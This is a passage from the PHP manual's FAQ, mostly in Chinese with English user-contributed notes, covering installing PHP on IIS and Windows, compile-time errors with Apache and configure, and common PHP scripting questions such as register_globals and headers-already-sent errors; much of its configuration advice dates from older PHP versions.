Windows 2000 Server and IIS (SP4 and all patches):

After many frustrating hours of trying to figure out the install (again), It took a while, but here are a couple tips:

PHP working with IIS uses c:\winnt\php.ini

It doesn't matter what you set the path to, nor what you set the PHPRC environment variable to. After you get PHP running correctly in the installation folder (using php -i) copy the php.ini file into the c:\winnt folder.

Here's what worked for me:

- Add PHP path to System environment variable

- Add php5activescript.dll from http://snaps.php.net/ to the PHP folder, then Register it: "regsvr32 php5activescript.dll"

Set extension_dir and doc_root directives in PHP.INI:
  extension_dir = C:\WWW\PHP\ext
  doc_root = C:\WWW\Site
  cgi.force_redirect = 0

(the last cgi.force_redirect isn't required, but I like to set it anyway)

Copy the .INI file into WINNT folder

In IIS Manager, right-click "Default Web Site", Click "Home Directory",
  Click "Configuration", "Add" the ISAPI application:
    Executable: <your php install>\php5isapi.dll
    Extension: .php
    Limit to: GET,HEAD,POST
    Check: "Script Engine"
    Uncheck: "Check that file exists"

Finally: Set up an ISAPI filter:
  Click the "ISAPI Filters" tab,
  Filter Name: PHP
  Executable: <your php install>\php5isapi.dll

Notes: You don't have to set any of your folders as "Script source" folders. .PHP files aren't scripts, merely text files that require processing before being shipped off to the browser, which is what the ISAPI filter does.

Finally, working again.

Chase
christianfelix at laszlo dot com 16-Jul-2007 03:39
For Windows XP users

Just add php.ini to windows/system 32 and also save a copy in the setup folder e.g. c:/php/php.ini, c:/php5/php.ini,

You have to follow the suggestions, add to path, uncomment extensions and voila!!
Meiki67 skipthis at geemail 07-Jun-2007 04:41
Had a hard day to MSI install 5.2.3 on WinXP with MySQL. I use a drive substitution (subst drive: path - in my case subst d: c:\drive_d) and installed PHP in D:\PHP - which in reality is C:\DRIVE_D\PHP.  To make a long story short - only after (1) changing all substituted D:\ back to C:\DRIVE_D and (2) resolving all DOS short names to Win long names PHP started to work. The first one is clear - the substitution works only for the active console user - not for services or IUSR. For the second one I have no explanation, since DOS short names should work systemwide - maybe Win handles them correctly but PHP not ?

BTW <?php phpinfo(); ?> was of tremendeous help

Meiki
Curtis 18-May-2007 07:39
I have some additional troubleshooting tips for 53.7, which deals with getting a blank screen on your browser when running a PHP script.

In addition to server misconfiguration, it may also be that PHP isn't configured to output errors to the browser, which is the case if you or your host uses a more secure php.ini. If this is the case, you need to find out where errors are being logged to find out if any errors are preventing normal output from being delivered to the client.

If you have access to php.ini, check the 'display_errors' directive, which is, by default, located under the 'error_reporting' directive. It's helpful to have 'display_errors' on during debugging phases, but best to have it off in production environments.

Related functions: http://php.net/ini_set | http://php.net/error_reporting | http://php.net/error_log
knutw at sparhell dot no 06-Nov-2006 09:15
I recntly upgraded from PHP 5.1 to 5.2 on my Windows Server 2003 using IIS6. I selected CGI as before. My PHP folder is as always C:\Program Files\PHP. I also edited my brand new php.ini, enabling all my old extensions and recommended settings for IIS. I like not to keep my old config into a new version.

After upgrade, I just got blank pages in my browser, and the response status was 404 Not found.

I checked my installation twice, using this FAQ, but got no way.

Then I went to IIS Manager, Web Service Extensions. The php Service Extension was Allowed as it should. I deleted the Service Extension and added it. The old extension used short file names containing tilde (PROGRA~) character, but I don'?t know if that gas anything to do with the problem. Anyway, after allowing my" new" Service Extension, pointing to php-cgi.exe as before, mye web sites suddenly worked. So will revommend anyone with thos problem to delete and add the Servcie Extension. It didn't help re-allowing it, restarting IIS or the complete server.
13-Sep-2006 07:03
After setting the PHPRC environment variable, none of my PHP files would hit the preprocessor. The browser was just serving out PHP source code right there in the "view source."

The manual was telling me to set this var to "c:\php," but nothing was working. It's almost as if IIS/Win2000 wasn't reading my php.ini at all.

After I set that variable to "c:\php\php.ini," all of a sudden I was getting honest to goodness PHP pages working.
emzeperx at emzeper dot hu 01-Jan-2006 12:36
You do not have to restart the whole system make effect of changing the PATH env var. For me (sbs2003) worked automatically.
on older systems you can use

set $Path=%path%;c:\php

command to extend immediately the path var.
JUSTANOTHERUSER 14-Aug-2005 11:23
<LimitExcept GET POST>
Deny from all
</LimitExcept>

Does not work with Apache2+ & PHP5 . Apache Refuses to start
per dot fikse at ipj dot no 12-Jul-2005 01:22
Installing PHP 4 or 5 on Windows Server 2003 x64 results in http error 505. This is not a PHP bug. It is due to running a 32-bit ISAPI DLL under the 64-bit version of IIS 6, as documented here: http://support.microsoft.com/?id=895976

Solution: Flip the Metabase flag for Enable32bitAppOnWin64 as described in http://support.microsoft.com/?id=894435 ,
like this: CSCRIPT ADSUTIL.VBS SET W3SVC/AppPools/Enable32bitAppOnWin64 1

(Alternatively with full path: cscript %SYSTEMDRIVE%\inetpub\adminscripts\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1)
barry dot fagin at usafa dot af dot mil 04-Jan-2005 09:22
Fixing 404 (file not found) errors with PHP 5.0.3 and IIS 6.0

IIS 6.0 is installed with security settings that don't permit dynamic content.  This means that even if all the hints in the FAQ are paid attention to (.ini modified correctly, security and permissions correct for IUSR_xxx user, etc), you still get 404 errors for all php files.

To fix this:  IIS Manager -> expand local computer -> Web Services Extensions -> Add web service or extension -> .php, browse to c:\php\php-cgi.exe or wherever you had the php executable installed. That plus setting the doc_root in the .ini file solved the problem.

--BF
jeff_graham at datacenterservices dot net 01-Feb-2004 01:51
As stated within the note "jimo at mail dot azhsv dot com
29-Nov-2003 04:33
PHP 4 and IIS 6.0 (Windows Server 2003)," I found the same steps were requiered for installation of PhP 5 beta 3 on my Windows 2003 server (Standard Edition)
nigel dot salt at hotmail dot com 13-Dec-2003 05:00
Finally got IIS 5 and PHP 5 to talk.

What worked for me was:

1) Set
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
W3SVC\Parameters\Script Map]
".php"="your path to php\\php.exe"

2) ensure there is not a php.ini in the windows system folder and that there is one wherever you've put PHP

3) edit php.ini and set cgi force redirect to 0 and cgi.rfc2616_headers = 1

4) Put the PHP scripts in their own folder underneath the inetpub root

5) Open the IIS console, right click your new php folder
In the Directory tab
 set application name to the name of the folder
 set executable and script as permission
 set application protection to low
Click configuration and check that .php is mapped to wherever you put
PHP

Restart IIS

Try a very simple PHP page and it should work

Nigel
jimo at mail dot azhsv dot com 29-Nov-2003 07:33
PHP 4 and IIS 6.0 (Windows Server 2003)

Had difficulty getting PHP 4.3.3 to work with Win2003 Ent Server for use with SquirrelMail.  Problem found and believed solved.  Appears to be something New with IIS 6.0 (More security by Micro$oft)  Was getting 404 error and php was not being run as a cgi even though it was in extensions and IIS user had rights to execute it. (php from command line operated correctly)

If you are installing on Windows Server 2003 (only have Enterprise Edition ? Not sure if this applies to standard edition), and you have done the normal procedures for inclusion of PHP scripts (either ISAPI or CGI) in IIS, you will still get a 404 error when attempting to execute those scripts even though IIS has rights and the extension points to the correct file.  To alleviate this problem, perform the following:

1.    Open a command prompt window
2.    Change to C:\windows\system32
3.    Execute the command:  cscript  iisext.vbs /AddFile c:\php\php.exe 1 php 0 php
4.    Execute the command:  cscript iisext.vbs /EnFile c:\php\php.exe
5.    To check for correct execution of the above,
6.    Execute the command:  cscript IisExt.vbs /ListFile ? the php extension should be listed

If you try just step 4 without step 3 you get an error that the file is not in the list (and won?t be there till you do step 3 above)

After this, IIS seems to like the php extension and work normally.

For additional reference, see the below 3 Micro$oft KB Articles:
HOWTO: Enable and Disable ISAPI Extensions and CGI Applications in IIS 6.0 (MS KB Article 328360)

HOWTO List Web Server Extensions and Extension Files in IIS 6.0 (MS KB Article 328505)

HOWTO Add and Remove Web Service Extension Files in IIS 6.0 (MS KB Article 328419)
peter dot mosinskisNOSPAM at csuci dot edu 06-Mar-2003 12:36
Running Win2K AS + IIS5.0 + PHP 4.3.1, I ran into a nasty problem that I mistakenly thought had to do with something in the php.ini configuration. When I would try to submit a form using the HTTP method GET it would work, but I would get a "404 Page Not Found" error using the POST method.

All my permissions were set correctly, the php.ini was configured correctly. It had to do with URLScan being installed on IIS (see below)

Page 404 File Not Found Error When Using POST method in PHP (and Perl, and otherwise)
-------------------------------------------

This is related to the Microsoft URLScan utility. If you have this problem, the IIS administrator has probably run the IIS Lockdown tool as well as configured URLScan to reject this type of HTTP method when sent in a URL. These tools are meant to enhance web server security.

URLScan configuration files can be found in the \WINNT\system32\inetsrv\urlscan folder on the web server. Specifically, the file to modify is urlscan.ini.

The changes to make are as follows:
1. Make sure UseAllowVerbs=1 under [options]
2. Under the [AllowVerbs] section, list your allowed HTTP methods to include:
    GET
    POST

For more information on the IIS Lockdown tool and URLScan, visit http://technet.microsoft.com
monroe at peoplego dot com 17-May-2002 10:32
INSTALLATION ON OPENBSD 3.1 VIA PORTS COLLECTION
Would have succeed but no mysql support.
I commented out the FLAVORS+= dbase filepro mysql mysql_bundled postgresql iodbc in the /usr/ports/www/php4/Makefile and in the configure options added
--with-mysql=/usr/local   and it worked.

Good Luck


编译问题

本节汇集了大多数编译时出现的常见错误。

  1. 我用匿名 GIT 服务得到了最新版的 PHP，但是里面没有 configure 脚本！
  2. 我在配置 PHP 和 Apache 一起工作时遇到了问题。说没找到 httpd.h，但这个文件明明就在那里！
  3. 当运行 PHP 配置时（ ./configure），遇到类似如下的问题： checking lex output file root... ./configure: lex: command not found configure: error: cannot find output from lex; giving up
  4. 当试图启动 Apache 时，得到类似如下错误信息： fatal: relocation error: file /path/to/libphp4.so: symbol ap_block_alarms: referenced symbol not found
  5. 当运行 configure 时，报告说找不到头文件或 GD 库或 gdbm，或其它的什么包！
  6. 当编译 language-parser.tab.c文件时，报错说 yytname undeclared。
  7. 当我运行 make时，看上去一切正常，可当连接最后的程序时报告说找不到某些文件而失败了。
  8. 当连接 PHP 时，报告说有一些未定义的引用。
  9. 我不知道怎样把 PHP 和 Apache 1.3 一起编译。
  10. 我按照所有的步骤在 UNIX 下安装了PHP 的 Apache 模块版本，但我的 PHP 脚本被显示在浏览器中或者提示保存此文件。
  11. 说要用： --activate-module=src/modules/php4/libphp4.a，但是此文件根本不存在，于是我改成了 --activate-module=src/modules/php4/libmodphp4.a，结果不行。怎么回事？
  12. 当我用 --activate-module=src/modules/php4/libphp4.a试着把 PHP 编译成 Apache 的静态模块时，报告说我的编译器不服从 ANSI 标准。
  13. 当我用 --with-apxs编译 PHP 时得到奇怪的错误信息。
  14. 在 make的过程中，在 microtime 中出错，还有很多 RUSAGE_之类的东西。
  15. 当带 MySQL 编译 PHP 时，可以正确地运行configure，但是在 make的过程中出现了类似以下的错误信息： ext/mysql/ libmysqlclient /my_tempnam.o(.text+0x46): In function my_tempnam': /php4/ext/mysql/ libmysqlclient /my_tempnam.c:103: the use of tempnam' is dangerous, better use mkstemp'，这是怎么回事
  16. 我想升级我的 PHP。上哪里找到我用来配置目前的 PHP 的 ./configure的参数呢？
  17. 和 GD 库一起编译 PHP 时，要么给出一个奇怪的编译错误，要么在运行时出现 segfaults。
  18. 当编译 PHP 时我看到一些随机的错误，好像死了。我用的是 Solaris，不知道有没有关系。
我用匿名 GIT 服务得到了最新版的 PHP，但是里面没有 configure 脚本！

你必须安装有 GNU autoconf 包，这样才可以从 configure.in生成 configure 脚本。从 GIT 服务中得到源程序后只要在最高层的目录中运行 ./buildconf即可。（同时要注意，除非你用了 --enable-maintainer-mode选项来运行 configure，否则即使 configure.in文件更新了，configure 脚本也不会自动重新生成。所以当你发现 configure.in文件更新了时要确保手工重新生成 configure 脚本。有一个症状是在 configure 之后或者运行 config.status时在 Makefile 中寻找类似 @VARIABLE@ 的东西。）

我在配置 PHP 和 Apache 一起工作时遇到了问题。说没找到 httpd.h，但这个文件明明就在那里！

你需要告诉 configure/setup 脚本你的 Apache 源程序最上层的目录位置。这意味着你需要这样指定 --with-apache=/path/to/apache 而 不是这样 --with-apache=/path/to/apache/src 。

当运行 PHP 配置时（ ./configure），遇到类似如下的问题：
checking lex output file root... ./configure: lex: command not found configure: error: cannot find output from lex; giving up

请认真阅读 PHP 的 安装说明，并注意要编译 PHP 需要同时安装 flex 和 bison。根据设置的不同，可以从源代码编译 bison 和 flex，要么通过已编译好的发行包，例如 RPM。

当试图启动 Apache 时，得到类似如下错误信息：
fatal: relocation error: file /path/to/libphp4.so: symbol ap_block_alarms: referenced symbol not found

该错误通常在 Apache 的核心程序被编译为共享用途的 DSO 库时发生。请尝试重新配置 Apache，确保至少使用了如下参数：

--enable-shared=max --enable-rule=SHARED_CORE

更多信息，请阅读 Apache 顶层目录的 INSTALL文件或者 Apache 的 » DSO 手册。

当运行 configure 时，报告说找不到头文件或 GD 库或 gdbm，或其它的什么包！

可以通过指定附加的选项让 configure 脚本在非标准的路径中寻找头文件和库并传递给 C 预处理器和连接器，例如：

    CPPFLAGS=-I/path/to/include LDFLAGS=-L/path/to/library ./configure
如果用 csh 的变种作为你的登录 shell（为什么？），那就是：
    env CPPFLAGS=-I/path/to/include LDFLAGS=-L/path/to/library ./configure

当编译 language-parser.tab.c文件时，报错说 yytname undeclared。

需要更新 Bison 的版本。最新版本在 » http://www.gnu.org/software/bison/bison.html。

当我运行 make时，看上去一切正常，可当连接最后的程序时报告说找不到某些文件而失败了。

一些旧版本的 make 没有正确将 functions 目录下编译后的文件放到同一个目录下。试试运行 cp *.o functions然后再运行 make看看有没有什么帮助。如果成功了，那你确实需要更新到最新版的 GNU make。

当连接 PHP 时，报告说有一些未定义的引用。

看看连接的这一行命令，确认所有适当的库都包括在最后了。通常可能漏掉了"-ldl"和你包括的任何数据库支持所需要的库。

一些人也报告说在和 Apache 连接时他们不得不紧接着 libphp4.a之后加上"-ldl"。

我不知道怎样把 PHP 和 Apache 1.3 一起编译。

这其实很简单。小心地照着以下步骤来：

  • 从 » http://httpd.apache.org/download.cgi下载最新版的 Apache 1.3。
  • 解压缩到某处，例如 /usr/local/src/apache-1.3。
  • 编译 PHP，先运行 ./configure --with-apache=/<path>/apache-1.3（用你 apache-1.3 所在的真实路径替换掉 <path>。）
  • 输入 make接着是 make install来编译 PHP 并把必要的文件拷贝到 Apache 的源程序目录树中。
  • 改变当前目录到 /<path>/apache-1.3/src目录并编辑 Configuration文件。添加这一行： AddModule modules/php4/libphp4.a。
  • 输入 ./configure接着是 make。
  • 你现在应该有一个包括 PHP 支持的 httpd 可执行程序了！

注意：也可以用新的 Apache ./configure脚本。参见 Apache 发行包中 README.configure文件中的说明。也看看 PHP 发行包中的 INSTALL文件。

我按照所有的步骤在 UNIX 下安装了PHP 的 Apache 模块版本，但我的 PHP 脚本被显示在浏览器中或者提示保存此文件。

这说明 PHP 模块出于某些原因没有被调用。在寻求更多帮助前先检查三件事：

  • 确认你运行的 httpd 程序就是你刚刚编译的新 httpd 程序。运行： /path/to/binary/httpd -l 如果你没看到 mod_php4.c被列出来那你就没有运行对程序。找到并正确安装程序。
  • 确认你在 Apache .conf文件中加入了正确的 Mime 类型。应该是： AddType application/x-httpd-php .php 也确认 AddType 这一行没有隐藏在 <Virtualhost> 或者 <Directory> 块中，这可能会造成你的测试脚本所在位置没有被应用到此设置。
  • 最后，Apache 1.2 和 Apache 1.3 之间默认配置文件的位置改变了。你要确认你添加 AddType 行的文件就是实际上用的。你可以在你的 httpd.conf 中添加一个明显的语法错误或者其它明显修改，这可以告诉你是否读取了正确的文件。

说要用： --activate-module=src/modules/php4/libphp4.a，但是此文件根本不存在，于是我改成了 --activate-module=src/modules/php4/libmodphp4.a，结果不行。怎么回事？

注意 libphp4.a文件本来就不该存在，apache 进程将创建它！

当我用 --activate-module=src/modules/php4/libphp4.a试着把 PHP 编译成 Apache 的静态模块时，报告说我的编译器不服从 ANSI 标准。

这是一个 Apache 误报的错误信息，在新的版本中已经修正了。

当我用 --with-apxs 编译 PHP 时得到奇怪的错误信息。

这里要检查三件事。首先，出于某些原因当 Apache 生成 apxs Perl 脚本时，有时没有正确的编译和标记变量就结束了。找到你的 apxs 脚本（用命令 which apxs），有时会在 /usr/local/apache/bin/apxs或者 /usr/sbin/apxs。打开并检查类似如下的行：

my $CFG_CFLAGS_SHLIB  = ' ';          # substituted via Makefile.tmpl
my $CFG_LD_SHLIB      = ' ';          # substituted via Makefile.tmpl
my $CFG_LDFLAGS_SHLIB = ' ';          # substituted via Makefile.tmpl
如果你看到这几行，那问题就在这里。它们可能包含了仅仅空格或者其它不正确的值，例如"q()"。改成这样：
my $CFG_CFLAGS_SHLIB  = '-fpic -DSHARED_MODULE'; # substituted via Makefile.tmpl
my $CFG_LD_SHLIB      = 'gcc';                   # substituted via Makefile.tmpl
my $CFG_LDFLAGS_SHLIB = q(-shared);              # substituted via Makefile.tmpl
第二个可能的问题仅可能在在 Red Hat 6.1 和 6.2 中发生。Red Hat 发行的 apxs 脚本坏了。查找这一行：
my $CFG_LIBEXECDIR    = 'modules';         # substituted via APACI install
如果你看到上面这一行，改成这样：
my $CFG_LIBEXECDIR    = '/usr/lib/apache'; # substituted via APACI install
最后，如果你重新配置或者重装了 Apache，在 ./configure之后和 make之前增加一个 make clean命令。

在 make的过程中，在 microtime 中出错，还有很多 RUSAGE_之类的东西。

如果 make时遇到类似这样的问题：

microtime.c: In function `php_if_getrusage':
microtime.c:94: storage size of `usg' isn't known
microtime.c:97: `RUSAGE_SELF' undeclared (first use in this function)
microtime.c:97: (Each undeclared identifier is reported only once
microtime.c:97: for each function it appears in.)
microtime.c:103: `RUSAGE_CHILDREN' undeclared (first use in this function)
make[3]: *** [microtime.lo] Error 1
make[3]: Leaving directory `/home/master/php-4.0.1/ext/standard'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/home/master/php-4.0.1/ext/standard'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/master/php-4.0.1/ext'
make: *** [all-recursive] Error 1

你的系统坏了。你需要安装一个符合你的 glibc 的 glibc-devel 包来修复 /usr/include中的文件。这和 PHP 绝对没有任何关系。要证实这一点，试试这个简单的测试：

$ cat >test.c <<X
#include <sys/resource.h>
X
$ gcc -E test.c >/dev/null
如果出现错误，那你就知道头文件坏了。

当带 MySQL 编译 PHP 时，可以正确地运行configure，但是在 make的过程中出现了类似以下的错误信息： ext/mysql/ libmysqlclient /my_tempnam.o(.text+0x46): In function my_tempnam': /php4/ext/mysql/ libmysqlclient /my_tempnam.c:103: the use of tempnam' is dangerous, better use mkstemp'，这是怎么回事

首先，我们需要认识到这只是个 警告，而非致命错误。由于这条信息通常是在 make的最后输出的，所以看起来它可能像是一个致命错误，但实际上不是。当然，如果将编译器设置成遇见警告信息时停止，则这也可以算是致命错误。另外值得一提的是，MySQL 的支持是默认打开的。

Note:

自 PHP 4.3.2 起，你将在编译（make）结束后看到下面的文字：

Build complete.
(It is safe to ignore warnings about tempnam and tmpnam).

我想升级我的 PHP。上哪里找到我用来配置目前的 PHP 的 ./configure的参数呢？

要么在你用来编译当前的 PHP 的源码树中查看 config.nice 文件，如果没有，只要运行此脚本：

<?php phpinfo(); ?>
在输出的顶端显示了用来配置此 PHP 的 ./configure参数。

和 GD 库一起编译 PHP 时，要么给出一个奇怪的编译错误，要么在运行时出现 segfaults。

确保你的 GD 库和 PHP 在连接时使用了用同样的支持库（例如 libpng）。

当编译 PHP 时我看到一些随机的错误，好像死了。我用的是 Solaris，不知道有没有关系。

当编译 PHP 时使用非 GNU 的工具会导致问题。确保使用 GNU 工具来确保能够正确编译 PHP。例如，在 Solaris 下面不论使用 SunOS BSD 兼容或者 Solaris 版本的 sed都不行，但是使用 GNU 或者 Sun POSIX (xpg4) 版本的 sed就可以。相关连接： » GNU sed， » GNU flex， » GNU bison。

User Contributed Notes

synnus at gmail dot com 25-Jun-2017 10:10
j'ai réalisé pour vous une machine virtuel pour compiler php 7
il suffira d'utiliser mon logiciel pour télécharger l'image disque virtuel
qui fonctionne sous virtualbox ; cette image contient une version gratuite
légale de windows 10 proposé par Microsoft lui même Réarmable .
tout le nécessaire pour compiler php 7 sera sur le bureau.

Le dossier Release pour récupérer les fichiers compiler
le lancer de compilation avec les commandes
Buildconf
Configure
nmake ...

voir la documentation https://wiki.php.net/internals/windows/stepbystepbuild
tout est déjà pré configuré vous vous trouvez à la section "Compile"
partie "4.Run : "

pour télécharger l'image c'est ici
https://github.com/Darksynx/Compiling-php7-to-a-virtual-machine

=========

I realized for you a virtual machine to compile php 7
It will suffice to use my software to download the virtual disk image
Which runs under virtualbox; This image contains a free version
Legal of Windows 10 proposed by Microsoft itself Resettable.
All necessary to compile php 7 will be on the desktop.

The Release folder to recover the compile files
The compilation run with commands
buildconf
Sets
Nmake ...

See the documentation https://wiki.php.net/internals/windows/stepbystepbuild
Everything is already preconfigured you are in the section "Compile"
Party "4.Run:"

To download the image here
https://github.com/Darksynx/Compiling-php7-to-a-virtual-machine
Fabio 22-Feb-2012 01:47
When building PHP 5.3.x for Apache 2.4.x you may get an error in the apxs query for the MPM_NAME.
This is because the apxs included in Apache 2.4.x doesn't recognize that query anymore.

To resolve this issue one should modify the PHP configure file to use the right MPM module used by Apache.

To know the used MPM you can execute this command: apachectl -t -D DUMP_MODULES | grep mpm

Then, edit the PHP configure file, search for the APXS_MPM variable and force its value to prefork, event or worker according to the value returned by the previous command.

Hope it helps.
-
Fabio
terry at mackintoshweb dot com 19-Sep-2009 08:43
The configure script of PHP 5.3.0 has some test lines that use expr with the option --, my expr (version 2.0) does not except --.  This causes a run of error messages from the shell like:

./configure: line 2xxx: test: =: unary operator expected
expr: syntax error

I used buildconf --force to see if it would fix this.
While it resulted in a quit different file, it still had the lines of code with expr -- in it.
05-May-2007 06:48
@ anca-phpdoc at anca dot tv:

You can use ./configure --with-libxml-dir=/path_to_xml2-config
anca-phpdoc at anca dot tv 08-Dec-2005 07:48
For the configure newbies among us:

If you update or reinstall any of the libraries used to compile in a different directory than they started out, you will need to make sure that you update the config.cache file (or re-generate it) so that configure will not look in the wrong place for the information.

On Mac OS X, for example, I updated my libxml using Fink.  Fink placed the files in the /sw directory.  However, php was still looking for important libxml files (such as xml2-config) in the old directory (/usr/bin/xml2-config).   After updating config.cache with the new value of the xml2-config path, I was able to compile correctly.


使用 PHP

本节汇集了你在写 PHP 脚本时可能碰到的大多数普通错误。

  1. 我忘了PHP函数的参数顺序，它们是随机的吗？
  2. 我想写一个可以处理任何表单来的数据的通用 PHP 脚本。我怎么知道哪个 POST 方法变量可用呢？
  3. 我需要在所有的单引号（'）前加一个反斜线（\），使它们变成（\'），我如何能够通过正则表达式来实现？我同样希望能够将（"）转换成（\"），将（\）转换成（\\）。
  4. 我所有的（"）和（'）都被变成了（\"）和（\'），我如何才能去掉这些不必要的反斜线？它们为什么及如何出现？
  5. PHP 选项 register_globals 对我有什么影响？
  6.         当我这样做时，输出显示的次序是错的：

<?php
function myfunc($argument)
{
    echo $argument + 10;
}
$variable = 10;
echo "myfunc($variable) = " . myfunc($variable);
?>

这是怎么回事？
  7. 下面代码怎么没有分成两行显示？ <pre> <?php echo "This should be the first line."; ?> <?php echo "This should show up after the new line above."; ?> </pre>
  8. 我得到消息“Warning: Cannot send session cookie - headers already sent...”或者“Cannot add header information - headers already sent...”。
  9. 我需要直接访问请求报头中的信息，怎么能办到？
  10. 当我用 IIS 进行 HTTP 认证时得到“No Input file specified”消息。
  11. Windows：不能访问另一台电脑上用 IIS 共享的文件。
  12. 我怎样混合使用 XML 和 PHP？它不认我的 <?xml 标记！
  13. 怎样用 FrontPage 或者其它非要把我的代码移来移去的 HTML 编辑器来编辑 PHP？
  14. 哪里可以找到所有可用的 PHP 预定义变量的完整列表？
  15. 怎样才能不用非免费的商业库（例如 PDFLib） 来生成 PDF 文档？我想要个免费的并且不需要再连接别的 PDF 库。
  16. 我试着在用户自定义函数中访问一个标准的 CGI 变量（例如 $DOCUMENT_ROOT 或 $HTTP_REFERER），但是找不到，哪里出了错？
  17. 有些 PHP　选项可以接受缩写的字节值，与仅能接受 integer字节值相反。都有哪些缩写字节值？可以将其用于 php.ini 之外吗？
  18. Windows: I keep getting connection timeouts when using localhost, whereas "127.0.0.1"works?
我忘了PHP函数的参数顺序，它们是随机的吗？

PHP is a glue that brings together hundreds of external libraries, so sometimes this gets messy. However, a simple rule of thumb is as follows:

Array functionparameters are ordered as " needle, haystack" whereas String functionsare the opposite, so " haystack, needle".

我想写一个可以处理任何表单来的数据的通用 PHP 脚本。我怎么知道哪个 POST 方法变量可用呢？

PHP 提供很多" 预定义变量"，例如超全局变量 $_POST。可以遍历 $_POST变量，因为它是一个和所有通过 POST 方法传递数据相联系的数组。例如，可以用 foreach简单地遍历它，检查 empty()值，以及将它们输出。

<?php
$empty = $post = array();
foreach ($_POST as $varname => $varvalue) {
    if (empty($varvalue)) {
        $empty[$varname] = $varvalue;
    } else {
        $post[$varname] = $varvalue;
    }
}

print "<pre>";
if (empty($empty)) {
    print "None of the POSTed values are empty, posted:\n";
    var_dump($post);
} else {
    print "We have " . count($empty) . " empty values\n";
    print "Posted:\n"; var_dump($post);
    print "Empty:\n";  var_dump($empty);
    exit;
}
?>

Note: Superglobal 可用性说明：

自 PHP 4.1.0 起可以使用 Superglobal 数组，例如 $_GET，$_POST，和 $_SERVER，等等。更多信息请阅读手册中的 superglobals 章节。

我需要在所有的单引号（'）前加一个反斜线（\），使它们变成（\'），我如何能够通过正则表达式来实现？我同样希望能够将（"）转换成（\"），将（\）转换成（\\）。

函数
      addslashes()能够实现这种操作。请参阅函数
      mysql_escape_string()。另外，还可以用函数
      stripslashes()来去掉反斜线。

Note: 设置选项说明： magic_quotes_gpc

设置选项magic_quotes_gpc默认值为 on。相当于对所有 GET, POST, and COOKIE 数据使用了 addslashes()。可以用 stripslashes() 来去掉它们。

我所有的（"）和（'）都被变成了（\"）和（\'），我如何才能去掉这些不必要的反斜线？它们为什么及如何出现？

PHP 函数 stripslashes()能够从 string中去掉所有的反斜线。这些反斜线出现最有可能的原因是 PHP 设置项 magic_quotes_gpc被开启。

Note: 设置选项说明： magic_quotes_gpc

设置选项magic_quotes_gpc默认值为 on。相当于对所有 GET, POST, and COOKIE 数据使用了 addslashes()。可以用 stripslashes() 来去掉它们。

PHP 选项 register_globals 对我有什么影响？

首先要理解这个设置选项的作用。假如我们使用以下URL： http://example.com/foo.php?animal=cat，那么在 foo.php中我们可能会使用以下代码：

<?php
// 建议使用这种访问变量的方式
echo $_GET['animal'];

// 如果想直接访问$animal变量，就要把register_globals选项设置为on
// 强烈建议不要这么做！！
echo $animal;

// 这个选项的值会影响到所有变量，包括$_SERVER
// 以下是该选项设置为off时的正确写法
echo $_SERVER['PHP_SELF'];

// 同样，要使$PHP_SELF变量自动生效，register_globals选项必须设置为on
// 强烈建议不要这么做！！
echo $PHP_SELF;
?>

上面的代码解释了register_globals的作用，就是自动生成变量。这种编程方式被很多人所不喜，所以在PHP当中register_globals默认设置为off。在PHP6，这个选项被删除了。所以目前绝大部分虚拟主机都默认把register_globals禁用。请注意，你在阅读过时的文章、教程时可能需要把该选项开启，否则可能示例代码不能通过。但在实际开发当中，强烈建议将其设置为off，否则可能会导致安全问题。

请参阅以下资源进一步了解：

  • The register_globals选项
  • The 注册全局变量的安全问题
  • 处理外部变量
  • Use 超级全局变量

Note:

以上示例中，我们使用了一个 URL，其中包含了一个QUERY_STRING。PHP会把QUERY_STRING中的信息通过GET HTTP请求传递，所以我们可以通过超级全局变量（superglobal） $_GET来访问其中的变量。

当我这样做时，输出显示的次序是错的：
<?php
function myfunc($argument)
{
    echo $argument + 10;
}
$variable = 10;
echo "myfunc($variable) = " . myfunc($variable);
?>
这是怎么回事？

要在一个表达式中（例如在上面的例子中和其它字符串连接）使用函数的结果，需要 return这个值，而不是 echo它。

下面代码怎么没有分成两行显示？
<pre>
<?php echo "This should be the first line."; ?>
<?php echo "This should show up after the new line above."; ?>
</pre>

在 PHP 中，一段代码的结束标记要么是"?>"要么是"?>\n"（\n 表示换行）。因此在上面的例子中，输出的句子将显示在同一行中，因为 PHP 忽略了代码结束标记后面的换行。这意味着如果要输出一个换行符，需要在每段 PHP 代码的结束标记后面多加一个换行。

PHP 为什么这么做呢？因为在格式化正常的 HTML 时，这样通常会更容易。假如输出了换行而你不需要这个换行时，就不得不用一个非常长的行来达到这样的效果，或者让产生的 HTML 页面的源文件的格式很难读。

我得到消息"Warning: Cannot send session cookie - headers already sent..."或者"Cannot add header information - headers already sent..."。

函数 header()， setcookie()和 session 函数需要在输出流中添加头信息。但是头信息只能在其它任何输出内容之前发送。在使用这些函数前不能有任何（如 HTML）的输出。函数 headers_sent()能够检查脚本是否已经发送了头信息。请参阅 输出控制函数。

我需要直接访问请求报头中的信息，怎么能办到？

如果以 Apache 的模块方式运行 PHP，那么函数 getallheaders()可以做这件事。因此下面的代码可以显示所有的请求报头：

<?php
$headers = getallheaders();
foreach ($headers as $name => $content) {
    echo "headers[$name] = $content<br />\n";
}
?>

请参阅函数
        apache_lookup_uri()、
        apache_response_headers()和
        fsockopen()。

当我用 IIS 进行 HTTP 认证时得到"No Input file specified"消息。

IIS 的安全模型这里有毛病。这是所有 IIS 下运行的 CGI 程序所共有的问题。一个解决办法是建立一个纯 HTML 文件（不经过 PHP 解析）作为要进入认证目录的登录页面，然后用 META 标记来重定向到 PHP 页面，或者用一个连接到 PHP 页面。然后 PHP 就可以正确识别认证信息了。如果是用 ISAPI 模块，那没有这个问题。其它 NT 下的 web 服务器不受此影响。更多信息见 » http://support.microsoft.com/kb/q160422/及 HTTP 认证一章。

Windows：不能访问另一台电脑上用 IIS 共享的文件。

必须要做些修改。打开 Internet 信息服务，找到你的 PHP 文件并打开属性页，选择 文件安全性标签，点击 匿名访问和身份验证控制的"编辑"按钮。

解决此问题有两个方法，一是不要选中 匿名访问并且选中 集成 Windows 身份验证，二是选中 匿名访问并编辑匿名访问使用的帐户，改成一个有权限的。

我怎样混合使用 XML 和 PHP？它不认我的 <?xml 标记！

